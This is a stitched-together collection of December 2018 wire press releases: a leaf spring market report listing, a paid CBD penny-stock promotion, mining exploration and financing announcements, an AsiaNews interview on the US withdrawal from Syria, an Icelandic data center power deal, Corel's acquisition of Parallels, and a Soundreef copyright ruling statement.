Automotive Leaf Spring Market by Spring Location Type: Front Suspension (Regional Analysis: North America , Europe , Asia-Pacific , and RoW) Rear Suspension (Regional Analysis: North America , Europe , Asia-Pacific , and RoW) Automotive Leaf Spring Market by Manufacturing Process Type: Shot Peening (Regional Analysis: North America , Europe , Asia-Pacific , and RoW) HP-RTM (Regional Analysis: North America , Europe , Asia-Pacific , and RoW) Others (Regional Analysis: North America , Europe , Asia-Pacific , and RoW) Automotive Leaf Spring Market by End-User Type: OE (Regional Analysis: North America , Europe , Asia-Pacific , and RoW) Aftermarket (Regional Analysis: North America , Europe , Asia-Pacific , and RoW) Automotive Leaf Spring Market by Region: North America (Country Analysis: The USA , Canada , and Mexico ) Europe (Country Analysis: Germany , France , the UK, Italy , Russia , and Rest of Europe ) Asia-Pacific (Country Analysis: China , Japan , South Korea , India , and Rest of Asia-Pacific ) Rest of the World (Sub-Region Analysis: Latin America , the Middle East , and Others) Stratview Research has several high value market reports in the global automotive industry. Please refer to the following link to browse through our reports: Click Here for Other Reports from Stratview Research in the Automotive Industry Some of our other related premium reports in the automotive industry: Automotive Leaf Spring Aftermarketby Vehicle Type (Passenger Car, LCV, M&HCV, and Others), by Spring Type (Parabolic Leaf Spring and Multi-Leaf Spring), by Location Type (Front Suspension and Rear Suspension), and by Region (North America, Europe, Asia-Pacific, and Rest of World) Trend, Forecast, Competitive Analysis, and Growth Opportunity: 2019-2024 Automotive Composite Leaf Springs Marketby Vehicle Type (Passenger Car, Light Commercial Vehicle, Medium- & Heavy-Duty Vehicle, and Others), by Installation Type (Transversal and Longitudinal), by Location Type (Front and Rear), by Manufacturing Process Type (Compression Molding, High-Pressure Resin Transfer Molding, and Prepreg Layup), and by Region (North America, Europe, Asia-Pacific, and Rest of the World), Trend, Forecast, Competitive Analysis, and Growth Opportunity: 2018-2023 Global Automotive Suspension Marketby Vehicle Type (Passenger Car, Light Commercial Vehicle, and Medium & Heavy Duty Commercial Vehicle), by System Type (Passive, Semi-Active, Active, and Air Suspension), by Architecture Type (Dependent and Semi-Independent / Independent), by Damping Type (Hydraulic / Pneumatic and Electromagnetic), by Component Type (Coil Spring, Leaf Spring, Air Spring, Shock Absorber, Strut, Control Arm, Ball Joint, and Others), and by Region (NA, Europe, APAC, ROW), Trend, Forecast, Competitive Analysis, and Growth Opportunity: 2016-2021 Automotive Composite Suspension Components Marketby Component Type (Leaf Spring, Coil Spring, Suspension Arm, Stabilizer Bar, and Others), by Vehicle Type (Passenger Car, Light Commercial Vehicle, Medium & Heavy Duty Commercial Vehicle, and Others), by Manufacturing Process Type (Compression Molding, HP-RTM, Prepreg Layup, and Others), and by Region (North America, Europe, Asia-Pacific, and Rest of the World), Trend, Forecast, Competitive Analysis, and Growth Opportunity: 2018-2023 About Stratview Research Stratview Research is a global market intelligence firm providing wide range of services including syndicated market reports, custom research and sourcing intelligence across industries, such as Advanced Materials, Aerospace & Defense, Automotive & Mass Transportation, Consumer Goods, Construction & Equipment, Electronics and Semiconductors, Energy & Utility, Healthcare & Life Sciences, and Oil & Gas. We have a strong team of industry veterans and analysts with an extensive experience in executing custom research projects for mid-sized to Fortune 500 companies, in the areas of Market Assessment, Opportunity Screening, Competitive Intelligence, Due Diligence, Target Screening, Market Entry Strategy, Go to Market Strategy, and Voice of Customer studies. Stratview Research is a trusted brand globally, providing high quality research and strategic insights that help companies worldwide in effective decision making. For enquiries, Contact: Stratview Research 400 Renaissance Center, Suite 2600, Detroit, Michigan, MI 48243 United States of America Phone No. +1-313-307-4176 Email: sales@stratviewresearch.com PALM BEACH, Florida, December 20, 2018 /PRNewswire/ -- FinancialNewsMedia.com News Commentary The massive $867 Billion estimated Farm Bill, currently sitting with the president for his signature, would remove industrial hemp from a list of federally controlled substances, a major step as cannabis culture continues to push into the U.S. mainstream. Lawmakers expect President Donald Trump to sign the farm bill legislation today. The legislation would remove hemp from the Controlled Substances Act, which would legalize hemp production. Which could be an incredible windfall for those entrenched in the market. Active companies in the markets this week include Surge Holdings, Inc. (OTC:SURG), Player's Network, Inc. (OTC: PNTV), Sugarmade, Inc. (OTC:SGMD), Medical Marijuana, Inc. (OTC:MJNA), Hemp, Inc. (OTC:HEMP). Surge Holdings, Inc. (OTCQB:SURG) BREAKING NEWS : Surge Holdings and Player's Network, Inc. (OTCQB: PNTV), a rapidly growing company in legal marijuana industry announce today a joint venture to distribute Green Leaf PURE CBD products to a network of approx. 40,000 retail stores throughout the United States. The relationship allows PNTV to focus on continual development of high-quality CBD products and brands while SURG utilizes their SurgePays Blockchain B2B distribution platform and outbound call center to introduce, sell and manage the ongoing replenishment of these products. CBD continues to be one of the fastest growing markets in the United States with sales expecting to reach $22 billion by 2022. Additionally, the passing of the Farm Bill 2018 which included the Hemp Act of 2018 removed the barriers associated with growing hemp due to federal prohibition to include restricted access to banking, water rights, and crop insurance. The signing of this bill will define hemp as a federally legal agricultural product; subsequently removing all of the restricting legislation and opening the door for PNTV and SURG to capitalize early on this multi-billion dollar industry. Through the JV, the initial order kit for new stores will range from approximately $399 to $1,500 or more. Anticipated monthly orders will be of similar value based on location and the size of the retailer. Currently, the market for CBD is on track to generate more than $600 Million in 2018. Analysts project that CBD sales will reach over $1 Billion by 2020 and is expected to exceed $22 Billion by 2022. SURG has recently signed contracts to grow their distribution network of convenience stores and bodegas to 40,000+ retail locations throughout the United States. The joint venture with PNTV creates an immediate distribution channel for Green Leaf PURE to capture a share of nationwide brick and mortar CBD sales while both companies expect to realize significant revenue increases as the CBD market grows. Read this and more news for SURG at :https://www.financialnewsmedia.com/news-surg/ Other recent developments in the cannabis industry include: Sugarmade, Inc. (OTCPK:SGMD) believes the passage of the U.S. Farm Bill, which includes specific hemp cultivation and legalization provisions creates additional revenue and investment opportunities for the Company as farmers across the country announce plans to begin or expand the cultivation of hemp. Sugarmade provides multiple products for the cultivators and processors and is in process of bringing additional products into this marketplace. The markets for industrial hemp, CBD oils and other hemp products are widely expected to explode upon implementation of the hemp provisions in the Farm Bill. Several analysts are now forecasting that the market for hemp and CBD will exceed even the size of the booming THC marijuana market. "Our vast experience in the supply of cultivation, harvesting and processing products places Sugarmade in a strong position to increase its revenue and profit outlooks as dozens of new operations prepare to come online," commented Jimmy Chan, CEO of Sugarmade. Medical Marijuana, Inc. (OTCPK:MJNA), the first-ever publicly traded cannabis company in the United States, subsidiary Phyto Animal Health today announced the launch of its latest cannabidiol (CBD) pet product, Phyto Animal Health Vitality 3G Oral Concentrate. "We worked closely with our Veterinary Advisory Board and CBD experts to formulate this newest addition to our product line and we couldn't be more excited for it to launch," said Phyto Animal Health CEO Ian Quinn. "This new supplement will be targeted to veterinary clinicians and animal hospitals and we hope that it will help them learn about the many potential benefits of CBD." Designed as an all-natural health management supplement for your pet, Vitality 3G Oral Concentrate contains decarboxylated CBD in its unfiltered oil to maximize CBD content while retaining the nutritional value of raw hemp. Hemp, Inc. (OTCPK:HEMP), a global leader in the industrial hemp industry with bi-coastal processing centers including the largest multipurpose industrial hemp processing facility in the western hemisphere (in Spring Hope, North Carolina), announced today that the company has been at the center of news coverage regarding the 2018 Farm Bill that includes language legalizing industrial hemp. The $867 billion bill recently passed in both the House and Senate, and next needs to be signed into law by the U.S. President. In addition to the company's operation in Spring Hope, North Carolina, Hemp, Inc. also has one of the most sophisticated post hemp local processing centers in Medford, Oregon, and a 4,500-acre hemp growing eco-village in Golden Valley, Arizona. DISCLAIMER: FN Media Group LLC (FNM), which owns and operates FinancialNewsMedia.com and MarketNewsUpdates.com, is a third party publisher and news dissemination service provider, which disseminates electronic information through multiple online media channels. FNM is NOT affiliated in any manner with any company mentioned herein. FNM and its affiliated companies are a news dissemination solutions provider and are NOT a registered broker/dealer/analyst/adviser, holds no investment licenses and may NOT sell, offer to sell or offer to buy any security. FNM's market updates, news alerts and corporate profiles are NOT a solicitation or recommendation to buy, sell or hold securities. The material in this release is intended to be strictly informational and is NEVER to be construed or interpreted as research material. All readers are strongly urged to perform research and due diligence on their own and consult a licensed financial professional before considering any level of investing in stocks. All material included herein is republished content and details which were previously disseminated by the companies mentioned in this release. FNM is not liable for any investment decisions by its readers or subscribers. Investors are cautioned that they may lose all or a portion of their investment when investing in stocks. For current services performed FNM has been compensated twenty six hundred dollars for news coverage of the current press releases issued by Surge Holdings, Inc. by a non-affiliated third party. FNM HOLDS NO SHARES OF ANY COMPANY NAMED IN THIS RELEASE. This release contains "forward-looking statements" within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E the Securities Exchange Act of 1934, as amended and such forward-looking statements are made pursuant to the safe harbor provisions of the Private Securities Litigation Reform Act of 1995. "Forward-looking statements" describe future expectations, plans, results, or strategies and are generally preceded by words such as "may", "future", "plan" or "planned", "will" or "should", "expected," "anticipates", "draft", "eventually" or "projected". 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Contact Information: Media Contact email: editor@financialnewsmedia.com +1(561)325-8757 Vancouver, British Columbia--(Newsfile Corp. - December 20, 2018) - Pacific Empire Minerals Corp. (TSXV: PEMC) (OTCQB: PEMSF) ("Pacific Empire", "PEMC" or the "Company"), a hybrid prospect generator focused in British Columbia is pleased to announce it has entered into an option agreement to acquire a 100% interest in the Sat Property located in the Babine Copper-Gold Porphyry district in central British Columbia. The Sat Property covers 50 square kilometers and is within 15 km of the past-producing Bell and Granisle copper-gold porphyry deposits. About the Sat Property Historical work conducted on the Sat Property includes over 3,000 metres of diamond drilling, 180 line-km of induced polarization surveys, collection of over 3,500 soil geochemical samples and ground and airborne geophysics. Historical drilling focused on was has been interpreted as a "pyrite halo", measuring approximately 1,200 x 600 metres. Drilling encountered biotite-feldspar porphyry dikes and sills which intrude moderately to intensely chlorite-epidote-calcite altered andesitic volcanics, argillite and basalt. Anomalous copper values are present in several holes, though intercepts indicating a potentially economic deposit have not been encountered to date. Thorough data compilation and review has outlined several target areas untested by drilling, the most significant of which is situated adjacent to the interpreted pyrite halo where bedrock exposures are obscured by glacial overburden. A network of logging roads make the Property ideally suited for PEMC's reverse circulation drill. Details with respect to the consideration payable for the Sat Property acquisition are as follows: Table 1. Option agreement terms. Timing Cash Payments * Share issuances Upon signing $5,000 - First anniversary of Effective Date $5,000 50,000 Second anniversary of Effective Date $10,000 100,000 Third anniversary of Effective Date $20,000 150,000 Fourth anniversary of Effective Date $25,000 200,000 TOTAL = $65,000 500,000 The vendors of the property hold a 1% net smelter royalty ("NSR"). The Company may purchase one half of the NSR at any time from the vendors for $500,000. * * Dollar amounts expressed in Canadian dollars This property acquisition remains subject to approval of the TSX Venture Exchange. Any securities issued as consideration under this option agreement will be subject to a statutory hold period of four months and one day from the date of issuance. Figure 1. Location map - Sat Property. To view an enhanced version of Figure 1, please visit: https://orders.newsfilecorp.com/files/5412/41772_820c507624d78ba7_001full.jpg About the Babine Copper-Gold Porphyry District The most significant deposits and occurrences in the Babine Lake area are temporally and spatially related to Eocene (50 Ma) Babine intrusions. These host more than a dozen deposits and occurrences in addition to the past producing Bell and Granisle open-pit mines which processed 130 million tonnes with average recovered grades of 0.40% copper and 0.15% gold between 1966 and 1992. Babine intrusions occur as small stocks, plugs and dike swarms emplaced along northwest-trending regional faults developed in arc-derived Mesozoic volcanic and sedimentary assemblages. The dominant host rock for copper-gold mineralization is a distinctive, fine- to medium-grained, crowded biotite feldspar porphyry (BFP) of granodiorite composition. Copper-gold mineralization occurs as chalcopyrite and bornite within narrow quartz-filled fractures and stockworks and as disseminations within and marginal to BFP intrusions. Although most of the known porphyry deposits and occurrences were found by basic prospecting and stream sediment geochemistry, subsequent exploration in the Babine area has been hampered by extensive glacial overburden cover. Pacific Empire's President, Brad Peters, added: "The addition of the Sat Property increases our land position in the Babine Copper-Gold Porphyry District to over 15,000 hectares with numerous drill targets. We intend to focus our 2019 exploration efforts in this area, though we will continue to advance other projects in our portfolio." Qualified Person Rory Ritchie, P.Geo., Vice President of Exploration for the Company, serves as a qualified person as defined by National Instrument 43-101 and has reviewed the scientific and technical information in this news release, approving the disclosure herein. About Pacific Empire Minerals Corp. PEMC is an exploration company based in Vancouver, British Columbia, that employs a "hybrid prospect generator" business model and trades on the TSX Venture Exchange under the symbol PEMC and on the OTCQB Markets under the symbol PEMSF. By integrating the project generator business model with low-cost reverse circulation drilling, the company intends to leverage its portfolio by identifying, and focusing on, the highest quality projects for partnerships and advancement. ON BEHALF OF THE BOARD, "Brad Peters" President and Chief Executive Officer Pacific Empire Minerals Corp. Tel: +1-604-356-6246 brad@pemcorp.ca www.pemcorp.ca Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Forward-Looking Statements Information set forth in this news release may involve forward-looking statements under applicable securities laws. Forward-looking statements are statements that relate to future, not past, events. In this context, forward-looking statements often address expected future business and financial performance, and often contain words such as "anticipate", "believe", "plan", "estimate", "expect", and "intend", statements that an action or event "may", "might", "could", "should", or "will" be taken or occur, or other similar expressions. All statements, other than statements of historical fact, included herein including, without limitation, are forward-looking statements. By their nature, forward-looking statements involve known and unknown risks, uncertainties and other factors which may cause our actual results, performance or achievements, or other future events, to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements. Such factors include, among others, the following risks: the need for additional financing; operational risks associated with mineral exploration; fluctuations in commodity prices; title matters; environmental liability claims and insurance; reliance on key personnel; the potential for conflicts of interest among certain officers, directors or promoters with certain other projects; the absence of dividends; competition; dilution; the volatility of our common share price and volume and the additional risks identified the management discussion and analysis section of our interim and most recent annual financial statement or other reports and filings with the TSX Venture Exchange and applicable Canadian securities regulations. Forward-looking statements are made based on management's beliefs, estimates and opinions on the date that statements are made, and the Company undertakes no obligation to update forward-looking statements if these beliefs, estimates and opinions or other circumstances should change, except as required by applicable securities laws. Investors are cautioned against attributing undue certainty to forward-looking statements. Donald Trump announced the Islamic States "defeat" in Syria and the withdrawal of US troops. For Mgr Audo, the end of the war is nearer. Plans for an autonomous Kurdish region is less appealing among Kurds. For the prelate, the agreement between Moscow and Washington will be the final act. Christians should help Muslims overcome fundamentalism. Aleppo (AsiaNews) The withdrawal of US troops "is further confirmation that the conflict in Syria, albeit in a slow and laborious way, is heading towards an end" so that the country now can seek a long-term "solution" to build its future, said Mgr Antoine Audo, Chaldean bishop of Aleppo and ex-president of Caritas Syria. Reacting to US President Donald Trumps decision to pull US troops out of the country after declaring the defeat of the Islamic State group, the prelate said that "The general impression in the country is that the war is coming to an end". Mgr Audo recently visited several parishes in north-eastern Syria, where most US troops are stationed and where he spoke with Christians and Kurds. "There is a widespread feeling that Syrian unity is being re-established. Peace and unity are now the dominant ideas" even though fighting has not completely ended. In his view, "90 per cent of Kurds do not believe in their own autonomous state because they lack the numbers and the strength to run it. This is why they feel that it is better to come under the umbrella of the Syrian state." Despite concerns at home (Pentagon) and among US allies, especially the United Kingdom, US President Donald Trump announced yesterday the beginning of the withdrawal of US troops from north-eastern Syria, According to critics, the departure of US soldiers will help the Islamic State group and leave Washingtons Kurdish allies in the Kurdish area on the Turkish-Syrian border at the mercy of their enemies. Some 2,000 US troops, mostly special forces fighting the Islamic State, are stationed in the area. Republican Senator Lindsey Graham, who is one of Mr Trump's supporters, called the withdrawal decision a "huge Obama-like mistake, warning that the pull-out would have "devastating consequences" both in Syria and beyond. Reacting to the US decision, the United Kingdom also expressed doubts, noting that the Islamic State remained a threat. Much remains to be done and we must not lose sight of the threat they pose. Even without territory, Daesh (Islamic State) will remain a threat, the Foreign Office said in a statement. Striking a different tone, Russian foreign ministry spokeswoman Maria Zakharova said the US decision could result in "genuine, real prospects for a political settlement" in Syria. For Mgr Audo, the Syrian crisis will be settled by an "agreement between the Americans and the Russians, in which each side will hold influence on a different part of the country". Thus, life will "resume" even if that moment has not arrived yet. "We cannot say that the war is really over. There is still some fighting in Idlib and Daraa. However, the general agreement is that we have entered another phase." When asked about the Islamic States "defeat", the prelate said the issue is "complicated. Daesh is an artificial creation that has been functional to the war, the war agenda, and now has done its job". The basic problem of Islamic extremism and the movements inspired by it lies "within that religion and touches how it deals with modernity, freedom of conscience, and the Sunni-Shia rival fuelled from outside". With this in mind, "we as Christians and as Catholic Church can help by promoting dialogue and exchange. Such a challenge is also our vocation. Landsvirkjun, Iceland's national power company, and Etix Everywhere Iceland, a subsidiary of Etix Everywhere Borealis, have signed a power contract for the supply of 25 MW to the company's new data center in the Blonduos municipality in the North of Iceland. Operations have already begun in Blonduos and construction work to expand the data center is currently underway. The center will be the first energy-intensive industrial operation to connect to Landsnet's transmission network in the area. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20181220005112/en/ Eirikur S. Svavarsson, Legal Council for Etix, Arni Jensen, Chief Business Officer at Etix, Haraldur Hallgrimsson, Director of Sales and Business Development at Landsvirkjun, Bjorn Brynjulfsson, CEO of Etix Everywhere Borealis, Stefania Gurun Halldorsdottir, Executive Vice President, Marketing and Business Development at Landsvirkjun, Horur Arnarson, CEO of Landsvirkjun, Gylfi Mar Geirsson, Head of Power Procurement at Landsvirkjun, Vala Valorsdottir, Business Development Manager at Landsvirkjun and Geir Arnar Marelsson, Legal Council at Landsvirkjun. (Photo: Business Wire) Etix Everywhere Borealis is part of Iceland's fast-growing data industry and its subsidiary, Etix Everywhere Iceland, will become Landsvirkjun's third client in the industry. Etix Everywhere Borealis has expanded its operations rapidly: it already operates a data center in Reykjanesbr in the south of Iceland and the Blonduos facility will be the largest data center the company is involved with on the island. The company currently offers "competitive solutions for HPC and Blockchain infrastructure," and will eventually also offer total hosting capacity of about 30,000 servers, thanks to its wholly or partly-owned data centers. A combination of renewable energy resources, competitive terms and the Icelandic climate contribute to creating favorable conditions for data centers in Iceland. Natural cooling means that equipment cooling costs are minimal and operating the centers is therefore more efficient in Iceland than it would be elsewhere. The energy covered by the agreement will be delivered from Landsvirkjun's current power station network. Landsvirkjun has recently opened a new geothermal station in eistareykir in the Northeast of Iceland and a second hydropower station in Burfell (Burfell II) in South Iceland. The company now operates 15 hydropower stations, three geothermal stations and two wind turbines. The ratification of the contract is subject to certain conditions. Horur Arnarson, CEO at Landsvirkjun: "Demand for energy from Landsvirkjun, generated from renewable, natural resources continues to grow and we look forward to inviting another flourishing company to our already well-established group of international customers. The agreement confirms Iceland's competitiveness in the global electricity market, reinforcing Landsvirkjun's operations and supporting the growth of industry in Iceland." Bjorn Brynjulfsson, CEO at Etix Everywhere Borealis: "We are in the process of developing a new generation of data centers, utilising Icelandic environmental conditions and our own expertise in the design and development of data solutions. The development of the Blonduos project is a purposeful step in reducing our customers' environmental footprint and the power terms in the contract allow for substantial expansion." Click here for media assets. About Etix Everywhere Borealis Etix Everywhere Iceland is a wholly owned subsidiary of Etix Everywhere Borealis, the majority of which is owned by Etix Everywhere Ltd. The company offers data centre solutions and services worldwide, including eco-friendly solutions in Iceland with centres located between the European and US markets. About Landsvirkjun Landsvirkjun is Iceland's largest energy company and produces electricity solely from renewable energy resources; hydroelectric, geothermal and wind energy. The company offers long-term agreements at competitive prices. Iceland is an ideal location for data centers with a growing number of companies choosing to leverage the cool North Atlantic climate, unparalleled power security, world-class infrastructure, business friendly environment and great connectivity to build a competitive advantage in a rapidly changing market. Visit www.landsvirkjun.com to learn more. About Etix Everywhere Etix Everywhere specializes in the construction and operation of scalable data centers and cable landing stations. Headquartered in Luxembourg, the company builds turnkey projects for large customers and also develops its own network of data centers in which neutral colocation services are provided. For more information, visit www.etixeverywhere.com. Follow us on Twitter, LinkedIn and YouTube. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005112/en/ Contacts: Brigid Gorham BIGfish Communications for Landsvirkjun 617-713-3800 landsvirkjun@bigfishpr.com With significant investment from Corel, Parallels has new opportunities to amplify its proven ability to create innovative solutions for businesses and consumers OTTAWA, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Corel Corporation (http://www.corel.com/?utm_source=CORELnewsRelease&utm_medium=media&utm_campaign=SMPRCOREL&utm_content=PRLL-EMEA) today announced that it has acquired the Parallels (http://www.parallels.com/eu/?utm_source=CORELnewsRelease&utm_medium=media&utm_campaign=SMPRCOREL&utm_content=PRLL-EMEA) business, a global leader in cross-platform solutions best known for its #1-selling software for running Windows on Mac. Corel now offers the complete Parallels product line, including Parallels Desktop for Mac, Parallels Toolbox for Windows and Mac, Parallels Access, Parallels Mac Management for Microsoft SCCM, and Parallels Remote Application Server (RAS) as part of its industry-leading software portfolio. Financial details were not disclosed. Corel plans significant investment into the Parallels business and sees exceptional opportunities for growth by leveraging the strengths of both companies' extensive customer bases, robust partner networks, and globally known brands. Together, Corel and Parallels deliver applications and services that empower users across their favourite platforms, including Windows, macOS, iOS, Android, Chromebooks, Linux, Raspberry Pi, and the cloud. "We're excited to welcome our new Parallels employees to Corel's global organization. From our highly complementary product portfolios to our shared business models and strategies, Corel and Parallels are a great fit. Thanks to the combined power of our technologies and teams, we see tremendous opportunities to drive continued growth and success for our businesses and, most importantly, our customers," said Patrick Nichols, CEO of Corel. "Parallels and Corel share a common vision, market leadership, and passion for innovation. We look forward to continuing to serve our customers and partners with best-in-class software as part of Corel," said Jack Zubarev, CEO of Parallels. "As part of Corel, Parallels is joining an impressive collection of industry leading brands, including CorelDRAW, WinZip, ClearSlide, and MindManager. One of Vector's most successful investments, Corel has delivered an exceptional platform for acquisitions. We congratulate the Corel management team and look forward to working with them to achieve the company's next phase of growth," said Rob Amen, Managing Director, Vector Capital. Parallels makes it simple for customers to use and access the applications and files they need on any device or operating system. Parallels helps businesses and individuals securely and productively use their favourite devices and preferred technology, whether it's Windows, Mac, iOS, Android, Chromebook, Linux, Raspberry Pi, or the Cloud. Parallels solutions enable seamless delivery of virtual desktops and applications to any device; running Windows on a Mac; Mac management with Microsoft SCCM; remote access to PCs and Mac computers from any device; and deliver time savings by simplifying tedious common PC and Mac tasks down to just one click. For more information, please visit parallels.com/about (http://www.parallels.com/eu/about/?utm_source=CORELnewsRelease&utm_medium=media&utm_campaign=SMPRCOREL&utm_content=PRLL-EMEA). Corel was represented by Sidley Austin LLP during this transaction. About Corel Corel is one of the world's top software companies. Our mission is simple: to help people achieve new levels of creativity, productivity, and success. For more information, please visit www.corel.com (http://www.corel.com/?utm_source=CORELnewsRelease&utm_medium=media&utm_campaign=SMPRCOREL&utm_content=PRLL-EMEA). Media contacts: Jessica Gould, jessica.gould@corel.com (mailto:jessica.gould@corel.com), +1-613-728-8200 x5405 John Uppendahl, john@parallels.com (mailto:john@parallels.com), +1-425-282-1734 2018 Corel Corporation. All rights reserved. Corel, the Corel logo, the Corel Balloon logo, CorelDRAW, MindManager, and WinZip are trademarks or registered trademarks of Corel Corporation and/or its subsidiaries in Canada, the United States and elsewhere. Parallels is a registered trademark of Parallels International GmbH in the United States. All other trademarks mentioned herein are the property of their respective owners. Patents: www.corel.com/patent (http://www.corel.com/patent). A photo accompanying this announcement is available at http://www.globenewswire.com/NewsRoom/AttachmentNg/8cf182f8-0540-4eed-ab18-83cf2e5c5857 (http://www.globenewswire.com/NewsRoom/AttachmentNg/8cf182f8-0540-4eed-ab18-83cf2e5c5857) SUDBURY, ON / ACESSWIRE / December 20, 2018 / Frontier Lithium Inc. (TSX-V: FL) (the "Company") announces that, further to its November 27, 2018 press release, it intends to complete a non-brokered private placement with subscriptions exceeding the originally announced target of $500,000 due to high investor interest. A non-brokered Flow Through private placement offering for a total of 2,622,619 units ("Units") of the Company priced at $0.42 per Unit, for total gross proceeds of $1,101,500. The Flow Through private placement is oversubscribed from the initial offering by $601,500, issuing an additional 1,432,143 common shares of the Company. Each Unit shall consist of one (1) Common Share of the Company and one-half (1/2) share purchase warrant (the "Warrant"). In connection with the CDN $1,101,500 Offering, the Company issued finder's fees of CDN $61,578 (totaling 5.59% of the gross proceeds of the Offering). The Offering remains subject to regulatory approval. All of the shares issued pursuant to the Flow Through private placement are subject to a minimum 4-month hold period. Proceeds from the financing will be used to advance exploration of Frontier's 100% owned PAK Lithium Project located in northwestern Ontario. About Frontier Lithium Inc. Frontier Lithium is a Canadian junior mining company and have the largest land position in the Electric Avenue, a newly emerging premium lithium-metal district hosted in the Canadian Shield of northwestern Ontario. Frontier is implementing a phased approach to development for becoming a producer of technical grade lithium concentrates required to produce premium glass/ceramics as well as supplying a by-product of chemical grade concentrates for the production of lithium hydroxide required for the burgeoning lithium battery industry. Frontier's goal is to become a low-cost, fully integrated lithium producer through development of the PAK lithium deposit in Ontario, Canada. Frontier maintains a tight share structure with management ownership exceeding 30% of the Company. The deposit boasts its lithium in a rare, high-purity, low-iron spodumene and is analogous to the Greenbushes' Deposit in SW Australia, which supplies approximately 40% of the world's lithium demands. Frontier has recently discovered a new LCT Pegmatite showing that called the Spark showing, which at surface has displayed a channel cut with similar grade and composition to PAK Lithium Deposit. The surface exposure 3 times larger than the PAK pegmatite with widths greater than 100m and a strike length of more than 300m and is the target of project exploration to most efficiently increase resource tonnage. Currently the company is awaiting results of an additional 200m of channels. Ceramic/glass customers prefer to source technical-grade (low-iron) spodumene concentrate in excess of 7% lithium oxide (Li2O), if available, to avoid inferior lower grade petalite concentrates, or paying much higher prices for battery grade lithium compounds. The PAK lithium deposit remains open in all directions and Company Management is working towards developing a viable operation. The Company has completed a pre-feasibility study to assess the economic viability and technical feasibility of producing lithium concentrates. About the PAK Lithium Project The PAK Lithium Project lies close to the boundary between two geological sub-provinces of the western Superior geologic province in northwestern Ontario and hosts a rare metals pegmatite deposit. The deposit is an LCT (lithium- cesium- tantalum) type pegmatite. These types of pegmatites have been the principal source of hard rock lithium, tantalum, rubidium and cesium ores mined in the world but there are comparatively few commercially-viable deposits. Frontier is actively exploring its 100% owned project which contains the Pakeagama Lake pegmatite. The PAK deposit has a current Measured and Indicated Resource of 7.5 million tonnes of 2.02% Li2O and an Inferred Lithium Resource of 1.8 million tonnes of 2.10% Li2O which has a technical/ceramic grade spodumene with low inherent iron (below 0.1% Fe2O3). The deposit now has a known 500m strike length with an estimated true width varying from 10m to 125m with a sub-vertical orientation. The resource remains open to depth and along strike to the northwest and southeast. Company Contact Information Bora Ugurgel Manager, Investor Relations 2736 Belisle Drive Val Caron, ON. P3N 1B3 CANADA T. +001 705.897.7622 F. +001 705.897.7618 Additional information regarding Frontier Lithium is available on SEDAR at www.sedar.com under the Company's profile and on its website at www.frontierlithium.com , including various pictures of ongoing work at the project. Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. SOURCE: Frontier Lithium Inc. View source version on accesswire.com:https://www.accesswire.com/531093/Frontier-Lithium-Announces-Oversubscribed-Flow-Through-Non-Brokered-Private-Placement The following is a statement from Soundreef: The Court of Rome has dealt yet another legal blow to SIAE (the Italian Society of Authors and Publishers), the agency that formerly controlled the administration of copyrights in compositions in Italy. Following an adverse ruling by the Antitrust Authority for abuse of its dominant position, today, the Court of Rome has suspended the proceedings filed in 2014 by SIAE, referring the case to the European Court of Justice, in support of the objection raised by Soundreef, which claims that the current Italian legislation is not in line with the Regulations imposed by the Barnier directive. The way is now open for the European Court of Justice to rule that Soundreef did not act unlawfully or act in unfair competition (as claimed by SIAE) given that at least since 2014 it was entitled to operate in Italy. "An extremely important decision explains Davide D'Atri, CEO of Soundreef S.p.A. which acknowledges even if not yet definitively what we at Soundreef have been claiming since we entered the Italian market. We believe that the administration of copyrights in Europe is free and open to anyone whether they are bodies that collectively manage rights or independent management entities wanting to manage the rights of songwriters and publishers, provided that they comply with the European rules and guarantee transparency, efficiency and, most of all, respect for the freedom of choice of those who make their creativity, talent and art available to the public." Keep reading the entire press release here. www.soundreef.com View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005421/en/ Contacts: UTOPIA Media relations e Relazioni istituzionali Soundreef Gaia De Scalzi Rossella D'Alessandro Mob. +39 331 6781443 or +39 347 7679929 Ph. +39 0697790306 Mailto. soundreef@utopialab.it Vancouver, British Columbia--(Newsfile Corp. - December 20, 2018) - Provenance Gold Corp. (CSE: PAU) (FSE: 3PG) ("Provenance", or the "Company") is pleased to announce it initiated a field program in November to better define the mineralization control geology of the Silver Bow silver and gold project near Tonopah, Nevada. In their field work the Company's geologists reviewed new interpretations of the property's geology and conducted limited surface sampling to help narrow the focus of a detailed mapping and sampling program expected to begin in March of 2019. Provenance plans to follow up the program with drilling of the key targets later in the year or in early 2020. The work identified three areas of focus for the follow-up program. The November work confirmed the viability of a previously recognized bulk tonnage target area in the southeastern part of the property. This mostly undrilled target contains few bedrock exposures, but the highly altered, structurally prepared and silicified outcrops surrounding the target zone are pervasively mineralized. Four of the six confirmation samples from the area were strongly mineralized: Sample Gold g/t Gold oz/t Silver g/t Silver oz/t 1002 1.02 .033 2310 74.27 1011 .65 .021 1130 36.33 1012 .13 .0042 28 .90 1013 .42 .014 549 17.65 Additionally, limited drilling was historically conducted to the southwest of this target area that intersected zones of up to 120 feet thick of near-surface mineralization containing 0.01 to 0.03 oz/t gold and 1 oz/t silver. The second area that will be targeted for detailed mapping and sampling is an extensive undrilled zone in the westernmost part of the property. Surface samples from the area historically contained strong gold and silver mineralization. Provenance's geologists interpreted the boundary of a previously unrecognized caldera and confirmed the mineralization. Four of the six samples taken from this area showed strong gold mineralization: Sample Gold g/t Gold oz/t Silver g/t Silver oz/t 1008 22.2 .71 1545 49.67 1009 1.92 .062 32 1.03 1020 2.45 .079 88 2.83 1021 1.0 .032 38 1.22 Only one sample was taken from a vein in the third area in the northeastern part of the property. The strength of the vein sample was encouraging enough to add this area to the sampling and mapping next spring. The sample assayed 2.82 g/t (0.091 oz/t) gold and 648 g/t (20.8 oz/t) silver. Rauno Perttu, Chairman, said, "We are extremely pleased with these results which reinforce our belief in the potential of the property. We will expand on these results in our 2019 exploration plan". The samples were processed and analyzed at ALS Global, Nevada. For further information, sponsorship or funding enquiries please visit the Company's website at http://www.provenancegold.com or contact Rob Clark 